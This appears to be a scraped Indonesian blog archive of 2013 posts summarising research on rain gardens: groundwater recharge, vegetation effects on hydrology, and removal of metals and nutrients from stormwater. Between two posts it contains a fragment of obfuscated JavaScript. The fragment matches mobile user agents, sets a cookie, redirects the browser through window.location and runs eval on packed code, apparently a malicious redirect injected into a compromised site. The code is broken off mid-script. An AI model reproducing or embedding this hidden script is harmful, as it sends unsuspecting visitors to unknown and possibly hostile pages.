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RAIN WATER MANAGEMENT – RAIN GARDEN

December 2nd, 2013 No comments

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TAMAN-HUJAN UNTUK MENGISI CADANGAN GROUNDWATER

November 27th, 2013 No comments

TAMAN-HUJAN UNTUK MENGISI CADANGAN GROUNDWATER

 

Taman hujan merupakan sarana pengelolaan limpasan air hujan perkotaan yang digunakan untuk meresapkan limpasan air hujan di lokasi yang dekat dengan sumbernya , sehingga memecah-mecah  kawasan kedap air dan sekaligus memberi jalan untuk meresapkan air hujan ke dalam tanah memasuki groundwater.
Resapan air hujan ke dalam tanah dapat memberikan manfaat tambahan bagi ekosistem air melalui peningkatan aliran dasar sungai . Namun demikian, kondisi tanah dapat berdampak pada kinerja taman hujan dan penyediaan jasa-jasa ekosistem tersebut.

Dalam konteks studi DAS untuk menentukan efektivitas pengelolaan air hujan secara terdesentralisasi , maka dilakukan survey tanah DAS Order-1 di Shepherd Creek ( Cincinnati , Ohio ) untuk menggambarkan tanah dan mengidentifikasi dan menggambarkan pedon tanah yang representatif , dan kemudian dinilai kondisi konduktivitas hidrolik jenuh subsoil ( KSAT ) di tiga subsoils dominan dengan metode estimasi kualitatif dan pengukuran langsung dengan Metode Constant-head permeametry.  Selanjutnya disimulasikan hidrologi-subsoil  akibat  dari implementasi taman-hujan hipotetik terhadap resapan air tanah di DAS ini .

Hasil pengukuran subsoil KSAT secara keseluruhan sangat rendah dengan rata-rata 0,01 cm /jam ( 4 × 10-3 inhi/jam) untuk tanah Eden dan rata-rata 0,2 cm /jam ( 0,08 inchi/ jam) untuk tanah berdebu-halus dan Tanah-Swiss.

Taman hujan pada tanah-tanah berdebu-halus dan tanah-tanah Swiss diharapkan dapat memberikan kontribusi sekitar 6 cm ( 2.4 in) resapan dibandingkan dengan 2 cm ( 0,8 in) diharapkan pada Tanah Eden .

Hasil PENELITIAN juga menunjukkan potensi tertinggi pengurangan kuantitas air limpasan di tanah Eden , dengan sebagian air ini untuk mengisi kembali groundwater.

Pendekatan dan hasil penelitian ini menjadi dasar bagi pemahaman yang komprehensif tentang bagaimana pengelolaan air hujan secara desentralisasi di tingkat DAS dapat berdampak positif pada jasa ekosistem DAS.

 

Sumber: W.D. Shuster

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, R. Gehring, and J. Gerken. 2007. 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FUNGSI VEGETASI DALAM TAMAN-HUJAN

November 27th, 2013 No comments

VEGETASI PADA TAMAN-HUJAN

 

Cekungan infiltrasi di kawasan perumahan atau taman hujan, semakin meningkat penggunaannya di lanskap perkotaan , ternyata mempunyai dampak signifikan terhadap siklus hidrologi perkotaan .

Desain taman hujan sangat bervariasi , tanah-tanah di dalam taman-hujan ini ternyata mempunyai fungsi mengontrol fungsi hidrologi.  Dalam percobaan lapangan dikontrol dengan sistem tertutup taman-hujan , dipelajari respon hidrologi dari tiga perlakuan vegetasi dalam desain taman hujan ( semak , padang rumput basah – mesic , turfgrass ) .

Penelitian menggunakan rancangan acak lengkap, dimana setiap perlakuan vegetatif diulang tiga kali . Setiap taman-hujan mewakili 17 % dari area atap , darimana limpasan air hujan dikumpulkan dan ditampung.   Pemantauan dilakukan terhadap masukan air limpasan , kadar air tanah , dan filtration tanah untuk menilai perbedaan fungsi hidrologi setiap taman hujan .

Secara keseluruhan , jenis vegetasi secara signifikan mengubah besaran dan waktu respon hidrologi . Selama bulan Juni dan Juli 2009, taman hujan ditanami semak , padang rumput , dan turfgrass, semuanya mampu mengurangi volume exfiltration tanah sebesar 50 % , 30 % , dan 17 % ;   dibandingkan dengan kontrol yang tidak bervegetasi . Demikian pula , tergantung pada curah hujan dan kelembaban tanah awal , tipe vegetasi secara signifikan menurunkan tingkat rata-rata puncak aliran exfiltration ( p < 0,001 ) , serta durasi respon exfiltration ( p < 0,0001 ) . Respon hidrologi paling cepat ( yaitu waktu singkat lag , laju aliran puncak tertinggi ) terjadi pada taman-hujan turfgrass .

Response hidrologi yang dimediasi oleh vegetaini berhubungan dnegan perbedaan infiltrasi , bio massa vegetasi di atas tanah , dinamika akar , dan kehilangan transpirative .

Data kami menunjukkan bahwa perubahan jenis vegetasi pada taman-hujan perkotaan akan menghasilkan perbedaan neraca-hidrologi melalui perubahan proses ecohydrologisl .

 

Sumber: Johnston, M. R.; Balster, N. J. 2009.

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Does vegetation type matter? Plant-soil interactions change urban rain garden hydrology.  American Geophysical Union, Fall Meeting 2009.

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TAMAN HUJAN UNTUK MEMBERSIHKAN POLUTAN

November 27th, 2013 No comments

TAMAN HUJAN UNTUK MEMBERSIHKAN POLUTAN

 

Sebuah raingarden ( 200 m3 ) , menerima limpasan air hujan dari daerah tangkapan industri , termasuk jalan raya yang dilewati oleh sekitar 10.000 mobil dan 5.000 truk setiap hari kerja , telah dimonitor untuk komposisi tanah dan efisiensi hidrologi dan hidrokimia .

Tanah Raingarden memiliki potensi yang besar untuk penghapusan logam dan permeabilitas yang cukup untuk mengkompensasi volume air hujan yang memasuki taman-hujan.

Hidrograf inflow menunjukkan beberapa puncak aliran yang sangat tajam dengan sedikit aliran dasar , ini menjadi ciri khas limpasan air hujan dari permukaan lahan .

Raingarden merapikan hidrograf dengan mengurangi puncak aliran dan volume aliran pada kelima peristiwa yang dipantau . Overflow terjadi pada empat peristiwa yang menunjukkan peningkatan permeabilitas belum sepenuhnya terkompensasikan oleh volume air yang masuk ke taman-hujan.

Air Limpasan sangat tercemar dengan sedimen dan logam , terutama seng .
Sebagian besar seng, timbal  dan TSS telah dihapus dari air limpasan yang mengalir ke luar dari raingarden , dengan penurunan konsnetrasi TSS dan total seng sangat besar. Meskipun efisiensi penuruannya tinggi , konsentrasi seng yang ke luar dari raingarden masih melebihi baku mutu kesehatan ekosistem .

Raingarden berfungsi sebagai Source dan sink bagi logam tembaga . Konsentrasi logam meningkat secara dramatis dalam mulsa dan sedimen terakumulasi di dekat inlet raingardens, dan  ini memerlukan tempat pembuangannya.

 

Sumber:  RAINGARDEN SOILS AND EFFICIENCY.  Sam Trowsdale and Robyn Simcock . 2008.   Manaaki Whenua Landcare Research.  The 2008 Stormwater Conference.

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TAMAN HUJAN UNTUK MEMPERBAIKI KUALITAS LIMPASAN AIR HUJAN

November 27th, 2013 No comments

TAMAN HUJAN  UNTUK MEMPERBAIKI KUALITAS LIMPASAN AIR HUJAN

 

Taman hujan menjadi fitur yang semakin populer DALAM Pembangunan ramah lingkungan .

Taman-hujan ini mempromosikan manajemen desentralisasi limpasan air hujan dengan memperlakukan air limpasan di tempatnya .

Taman hujan efektif karena mereka menampung, menyimpan dan meresapkan air hujan ke tanah, sehingga memungkinkan terjadinya proses biogeokimia , sehingga menghilangkan polutan dari air limpasan .

Penelitian ini memfokuskan pada hasil dari studi pemantauan kualitas air dan suplemen hasil dengan inspeksi visual dari setiap situs taman-hujan.

Manfaat taman-hujan dalam memperbaiki kualitas air tergantung pada berbagai faktor termasuk ukuran taman hujan , spesifikasi desain , lokasi , vegetasi , dan daerah alirannya.

The US Geological Survey memantau kualitas air di tiga taman hujan yang terletak di Twin Cities Metropolitan Area , Minnesota .

Tujuannya adalah untuk membandingkan karakteristik kualitas air dari taman hujan dengan desain yang berbeda dan menganalisis kontribusi luas penggunaan lahan . Sampel air inflow , overflow, zona Vadose , dan air tanah dianalisis kandungan haranya yang biasanya ditemukan di limpasan air hujan kawasan perkotaan .

Umumnya , konsentrasi yang lebih rendah dari nitrogen , fosfor , dan total padatan tersuspensi , ditemukan di zona Vadose dan air tanah, dibandingkan dengan konsentrasinya dalam inflow ; hal ini menunjukkan kinerja yang baik dalam hal memperbaiki kualitas air . Satu situs tidak menunjukkan perbedaan konsentrasi fosfor terlarut , diyakini hal ini karena rendahnya konsentrasi P dalam air limpasan yang memasuki taman-hujan . Konsentrasi klorida yang lebih tinggi ditemukan di tanah dan air tanah dibandingkan dengan konsnetrasinya dalam inflow di dua lokasi .

Bukti yang baik dari penghapusan hara di taman-hujan sehingga menghasilkan air yang relatif bersih untuk mengisi pasokan air-tanah (groundwater) setempat .

Inspeksi visual dari tiga taman hujan memberikan bukti tambahan bahwa tiga situs tersebut berfungsi dengan baik . Tampaknya tidak ada kegagalan struktural yang serius. Vegetasi di setiap lokasi juga tampak sehat , namun  kehadiran spesies vegetasi lahan basah dan rumput beracun perlu mendapatkan perhatian serius dalam pemeliharaannya .

 

Selengkapnya lihat:

Water quality characteristics of three rain gardens located within the Twin Cities Metropolitan Area, MN.  Elliott, Sarah Marie. May 2010

http://conservancy.umn.edu/handle/93088

 

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TAMAN-HUJAN : PENGELOLAAN TERPADU AIR HUJAN

November 27th, 2013 No comments

TAMAN-HUJAN : PENGELOLAAN TERPADU AIR HUJAN

 

Malaysia telah mengembangkan suatu pendekatan terpadu untuk mengelola air hujan yang semakin menjadi masalah di kota-kota besar.

Taman hujan direkomendasikan sebagai teknologi hijau untuk pengelolaan air hujan  di Malaysia.

Pendekatan ini diterapkan dalam perencanaan dan disain kota yang mengintegrasikan total manajemen siklus air hujan ke dalam proses pembangunan.

Taman hujan telah efektif dalam mengurangi debit puncak air limpasan hujan dan konsisten mengurangi jumlah polutan air hujan.

Makalah ini akan menganalisis beberapa pedoman, penelitian laboratorium dan pemantauan lapangan yang menunjukkan potensi yang besar dan manfaat taman hujan.

Hasil-hasil penelitina tentang kinerja taman hujan dilaporkan dalam makalah ini. Temuan penelitian akan membuka jalan bagi para peneliti untuk mengembangkan pengetahuan tentang sistem taman hujan untuk mencapai pembangunan berkelanjutan di Malaysia.

 

Sumber: Constructed Rain Garden Systems for Stormwater Quality Control under Tropical Climates. Lariyah Mohd Sidek et al .2013 . IOP Conf. Ser.: Earth Environ. Sci.

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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’5 d=1;5 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MANFAAT RAIN-GARDEN (TAMAN-HUJAN)

November 27th, 2013 No comments


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MANFAAT  RAIN-GARDEN (TAMAN-HUJAN)

Pada dasarnya, taman hujan merupakan solusi yang murah,  sederhana dan ramah lingkungan untuk digunakan dalam pengelolaan air hujan di perkotaan

Suatu Taman-Hujan  akan berguna untuk :

1. Menyaring polutan dari air limpasan
2.  Mengisi ulang air-tanah lokal
3. Mengkonservasi dan menghemat air hujan
4.  Meningkatkan kualitas air
5.   Melindungi sungai dan air sungai
6.  Menghilangkan genangan air di halaman hunian atau pekarangan

7.  Mengurangi perkembang-biakan nyamuk

8.  Meningkatkan populasi serangga yang bermanfaat dan menghilangkan serangga hama

9.   Mengurangi potensi banjir

10. Membuat habitat bagi burung & kupu-kupu

11.   Bertahan di musim kekeringan

12.   Mengurangi biaya perawatan taman

13.   Meningkatkan daya tarik trotoar

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RAIN – GARDEN UNTUK MENGELOLA AIR HUJAN

November 27th, 2013 No comments

RAIN – GARDEN UNTUK MENGELOLA AIR HUJAN

Sebuah Raingarden (taman hujan) adalah depresi kecil-dangkal dan  bersifat alamiah atau buatan yang ditanami dengan tanaman asli dan rumput yang perakarannya dalam. Raingaedern ini buiasanya terletak di lansekap untuk menerima limpasan air hujan dari permukaan yang diperkeras seperti atap bangunan, trotoar dan jalan raya. Taman hujan ini memperlambat aliran air hujan dari permukaan keras ini , menampung air untuk waktu singkat and memungkinkan untuk secara alami meresapkan air hujan ke dalam tanah .
Sebuah taman hujan dapat dianggap sebagai sistem pengelolaan kualitas air hujan karena memfilter air limpasan dari atap bangunan dan lahan untuk mengisi kembali air tanah .

Sebuah taman hujan juga menghemat sumber daya air kota dengan mengurangi kebutuhan air untuk irigasi .

Taman hujan merupakan cara yang indah dan berwarna-warni bagi pemilik rumah , kawasan bisnis dan kotamadya untuk membantu meringankan masalah limpasan air hujan. Ada tren yang berkembang oleh pemerintah kota dan pemilik rumah untuk menggunakan proses hidrologi alami untuk membantu meringankan banjir dan polusi .

Membangun taman hujan ( atau beberapa taman hujan ) di halaman rumah sendiri mungkin adalah hal yang paling mudah dan efisien biaya yang dapat dilakukan untuk mengurangi kontribusi warga terhadap banjir dan polusi perairan.

Dengan menangkap air hujan bersih dari atap bangunan , jalan-raya dan trotoar dan menyalurkannya ke dalam taman hujan besar,  dimana air hujan dapat meresap ke dalam tanah , menyaring kontaminan dan menjaga kuantitas air bersih supaya tidak  mengalir masuk ke saluran pembuanagan air, maka akan akan ada taman-hujan yang besar dan menyimpan air hujan di tempatnya .

Sebuah taman hujan dapat meniru penyerapan air secara alamiah dan kegiatan penyerapan bahan-bahan polutan dari hutan , atau padang rumput atau lahan pertanian, atau apat menyerap air limpasan lebih efisien , kadang-kadang dapat mencapai 30 % – 40 % atau lebih .  Menangkap air hujan di taman hujan , menahan air hujan untuk waktu yang singkat dan kemudian perlahan-lahan melepaskannya ke dalam tanah dapat mengurangi serbuan banjir bandang, secara cepat , rapi , indah dan alamiah .

Karena taman hujan digali hingga kedalaman 4  – 8 inchi atau dapat juga 1 – 2  feet , mereka dapat  menampung sejumlah air hujan yang lebih besar , sehingga secara kese;luruhan konstruksi ini lebih hijau dan lebih efisien biaya. Taman hujan membutuhkan pengalaman teknis yang tidak terlalu rumit untuk menginstal dan dapat dibangun tanpa izin khusus atau alat berat khusus.

Taman hujan menjadi salah satu pilihan yang sangat baik untuk menurunkan dampak limpasan permukaan dan pencemaran air permukaan karena mereka berteknologi rendah , murah , berkelanjutan dan estetikanya  indah .

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